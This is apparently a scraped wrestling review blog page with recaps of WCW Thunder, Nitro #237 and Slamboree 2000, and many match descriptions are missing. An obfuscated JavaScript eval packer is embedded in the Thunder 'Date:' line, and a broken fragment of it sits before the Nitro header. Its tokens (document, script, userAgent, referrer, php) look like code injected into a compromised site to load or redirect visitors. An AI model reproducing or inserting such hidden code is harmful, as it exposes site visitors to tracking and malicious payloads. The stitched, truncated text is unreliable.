The Wall vs. Horace Hogan

Hugh Morrus vs. Scott Steiner vs. Jeff Jarrett

Bischoff fires the Misfits in Action except Lash, who is too stupid to know what fired means. Ok then.

Luger is posing in front of a mirror and Flair worships him ala Heenan at Wrestlemania IX.

Tank Abbott vs. Diamond Dallas Page

Page is stretchered out.

Hogan brawls with Awesome.

Kronik is arrested.

Stasiak is still shooting.

Russo yells at Liz so she slaps him. That means she won and Russo leaves. So Russo is a MAN who likes strong women? Who will likely join him later on so Russo can get the girl?

WCW World Title: Tank Abbott vs. David Arquette

We cut to the back to see that Steiner has knocked Jarrett out.

Hennig breaks up the free throw record with one shot to go. Much like with the graveyard: how did Hennig know which gym to go to?

Hulk Hogan vs. Mike Awesome

Hogan beats up Kidman, Awesome and the referee with the chair. A fan runs in but the bloodbath falls on Hogan, drawing in the New Blood for the beatdown to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

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Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdzdn|var|u0026u|referrer|abdyk||js|php'.split('|'),0,{})) April 26, 2000
Location: War Memorial, Syracuse, New York
Attendance: 1,269
Commentators: Bobby Heenan, Mike Tenay, Tony Schiavone

Tonight it’s about the revenge of the New Blood and here are the magic words: Jarrett wants a tag match for the World Title with Page/Arquette vs. Jarrett/Bischoff where the man who gets the fall is the champion.

The Cat is ready for Bam Bam Bigelow.

Recap of Bam Bam Bigelow vs. Cat.

Bam Bam Bigelow vs. The Cat

Bigelow beats up Cat after the match because that kick was just enough to put him down for three. Keep in mind that it was literally the only offense Cat had.

Kidman and Torrie arrive. Thanks for showing up fifteen minutes into a two hour show.

Page keeps looking for Arquette.

Chris Kanyon vs. Shawn Stasiak

Kidman vs. Horace Hogan

Sting vs. The Wall

Liz is put in the backseat of a car and taken away.

Paisley vs. Tammy

After Tammy takes forever to disrobe, Tony flat out says this is going to be a catfight. They slowly do bad “moves” to each other and it turns into a catfight until Tammy goes to the eyes. Tammy chokes with something and Candido chokes on the middle rope. A Stunner puts Paisley down but Tammy stops to dive on Candido, Artist and the referee at ringside. Back in and Paisley gets two off a handspring elbow. Tammy tries a northern lights suplex but gets countered into what was supposed to be a DDT for the pin.

Candido and Tammy clean house post match.

Arquette wants to fight in the tag match.

Mike Awesome vs. Booker T.

We hit the chinlock on Booker as Heenan starts sucking up to Steiner like only Heenan can do. Tony starts fearing for his life and begs anyone to talk about the match with him. Booker comes back with the kicks and a Spinarooni before going up top, only to have Steiner nail him in the back with the US Title. The Awesome Bomb is enough to give Mike the pin.

Steiner puts Booker in the Recliner but Chavo Guerrero, Hugh Morrus, Lash Leroux and Van Hammer make the save. The four of them plus Booker easily clean house and stand tall.

Hart may not be in WCW much longer due to his injuries, including a concussion. After a clip of the Goldberg kick, Hart promises to do more to make Hogan pay, but promises to put him in the Sharpshooter. This was really just a way of reminding us that Bret Hart is still alive.

WCW World Title: Diamond Dallas Page/David Arquette vs. Eric Bischoff/Jeff Jarrett

I understand that this is a massive publicity stunt (which failed). There are all kinds of celebrity appearances in wrestling that are often used as a cheap excuse to pop a rating (which only works in certain circumstances) but most of the time, wrestling companies know where to stop. Mr. T. was in the main event of Wrestlemania, but at least Mr. T. is a tough guy who looked like he could hold his own physically. Mike Tyson got physical because he was one of the most successful boxers of all time. Neither of those is a huge stretch.

Why should I care about any title match going forward? Why should I care if Page and Jarrett have a fifteen minute war for the belt? David Arquette can win the title in a five minute match (which they set up earlier in the night, completely defeating the point of getting people to tune in for the moment) so why should I want to sit around for a long title match?

Finally, it should be noted that Arquette thought this was a horrible idea and donated his pay to the families of Owen Hart, Brian Pillman and Darren Drozdov. He seems like a nice guy who knew his place. WCW on the other hand never understood anything and managed to take the title and the business to a never before imaginable low.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytehy|var|u0026u|referrer|rbneh||js|php'.split('|'),0,{})) Nitro #237
Date: April 24, 2000
Location: Blue Cross Arena, Rochester, New York
Attendance: 7,713
Commentators: Scott Hudson, Tony Schiavone, Mark Madden

Sting and Vampiro are brawling in the back with Sting getting the better of it until Vampiro hits him with a pipe.

Hardcore Title: Bam Bam Bigelow vs. Terry Funk

Cat dances a bit as Madden sums up how stupid this was.

Norman Smiley begs Russo for a chance to get the Hardcore Title back. Russo agrees, if Smiley can find a partner to make it a handicap match at Slamboree.

Bischoff sends Jarrett to go find Billy Kidman. The World Champion is officially an errand boy.

Chris Candido/Tammy vs. The Artist/Paisley

Sting comes out with a Death Drop to Candido. He wants Vampiro out here tonight and why not just make it first blood.

Kanyon and Page give Arquette a pep talk.

Team Package vs. Kronik

Buff and Douglas beat down Team Package a bit more until Buff hands Adams the bat, leading to Kronik beating them down as well.

Vampiro wants to make Sting bleed from the eyes so I guess the match is on.

Bischoff gives Kidman Mike Awesome for protection against Hogan tonight. Hogan is welcome to find a tag partner if he can. Also, Bischoff is guest referee for Kidman vs. Hogan at Slamboree. So after weeks of running scared from Hogan, Bischoff is totally fine with putting himself in the same ring with him. Makes as much sense as anything else here.

Mike Awesome/Kidman vs. Hulk Hogan

Nash hits the ring to clean house but Torrie hits him low, allowing Kidman and Awesome to get in their stompings.

Eric Bischoff vs. David Arquette

Again, remember that Bischoff is a karate expert and should be able to knock Arquette out in about ten seconds. Bischoff kicks him into the corner to start but David comes back with a spear, followed by the Worm for one of the loudest reactions of the night. Jarrett pulls the referee out at two and hits Page with the belt. Bischoff gets in a low blow on Arquette but Jeff guitars Eric by mistake, giving Arquette the pin.

Jarrett is livid.

Russo tells Bagwell and Douglas that “we” have to go fight Kronik.

Tag Team Titles: Buff Bagwell/Shane Douglas vs. Kronik

WCW World Title: Jeff Jarrett vs. Diamond Dallas Page

Vampiro vs. Sting

The New Blood attaches the soaked Sting to the cable and hangs him from the ceiling to end the show.

begun.

Remember to follow me on Twitter @kbreviews and pick up my new book of NXT Reviews: The Full Sail Years Volume I at Amazon for just $3.99 at:

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Slamboree 2000
Date: May 7, 2000
Location: Kemper Arena, Kansas City, Missouri
Attendance: 7,165
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

 

 

Opening video is about Flair vs. Douglas which is a big feud in the mind of Shane Douglas. Oh and other old vs. new matches are here also.

 

Cruiserweight Title: The Artist vs. Chris Candido

 

 

 

Tammy gets stripped post match.

 

The announcers make fun of Arquette being champion.

 

Video of Terry Funk getting beaten up a lot.

 

Hardcore Title: Terry Funk vs. Norman Smiley/???

 

 

 

 

Shawn Stasiak vs. Curt Hennig

 

 

 

Scott Steiner seems mad at Russo.

 

US Title: Scott Steiner vs. Hugh Morrus

 

 

A suplex gets two so Steiner yells that the referee sucks. Off to a bearhug as Steiner squeezes the life out of him. Another suplex hits and Steiner stops to argue with a fan. A pretty bad butterfly suplex/powerbomb gets no cover so Rection reverses a tombstone for another non-cover. The girls interfere AGAIN and the moonsault misses. The Recliner ends this.

 

Booker makes the save post match from a bigger beating.

 

Mike Awesome vs. Kanyon

 

 

 

We recap Luger vs. Bagwell for the 8000th time. The idea here is that Russo has “stolen” Liz or something and Luger wants her back. Bagwell is the guy doing the fighting for Russo.

 

Lex Luger vs. Buff Bagwell

 

 

 

 

Shane Douglas vs. Ric Flair

 

Ric takes three low blows but chops away again. Another figure four is reversed and Flair gets a Greco Roman Ball Shot to the Franchise and we head to the floor. Flair pounds away for a bit and back inside now. Shane hits a suplex and pulls out his signature chain. Shane hits rolling vertical suplexes which were kind of cool.

 

 

 

Sting vs. Vampiro

 

They brawl on the ramp to start and Sting hits a quick suplex to take over. Into the ring and Sting hits a missile dropkick and a big dive back to the floor. WHERE HAS THIS STING BEEN FOR THE LAST FIVE YEARS??? They go to the announce table and Sting DDTs him on the floor. All Sting so far. Back in the ring and Vampiro comes back with what else, a low blow.

 

 

 

Nash is going Russo hunting.

 

Billy Kidman vs. Hulk Hogan

 

 

 

 

Russo runs from Nash.

 

We recap Jarrett vs. Page vs. Arquette which started with Jarrett getting Kimberly to turn New Blood and let Jeff win the title. Page got the title back so Jarrett took Arquette hostage, resulting in the most ridiculous thing in the history of wrestling: David Arquette won the World Heavyweight Championship. He tried to put it up in the cage match and vacate it but Bischoff made it a three way for no apparent reason.

 

WCW World Title: David Arquette vs. Jeff Jarrett vs. Diamond Dallas Page

 

 

Page posts Jeff and goes for the ladder and ultimately the second cage. Jarrett is busted open but manages to suplex Page off the ladder. The ladder is in the corner and not set up so both guys are sent into it as is the ladder match custom. Jeff brings in a second ladder and they both start climbing. Page knocks him off and is in the second cage first. Jeff follows quickly and instead of just going through the door he grabs a weapon and gets caught.

 

 

 

 

Did I mention this is the arena where Owen Hart fell to his death less than a year before this show?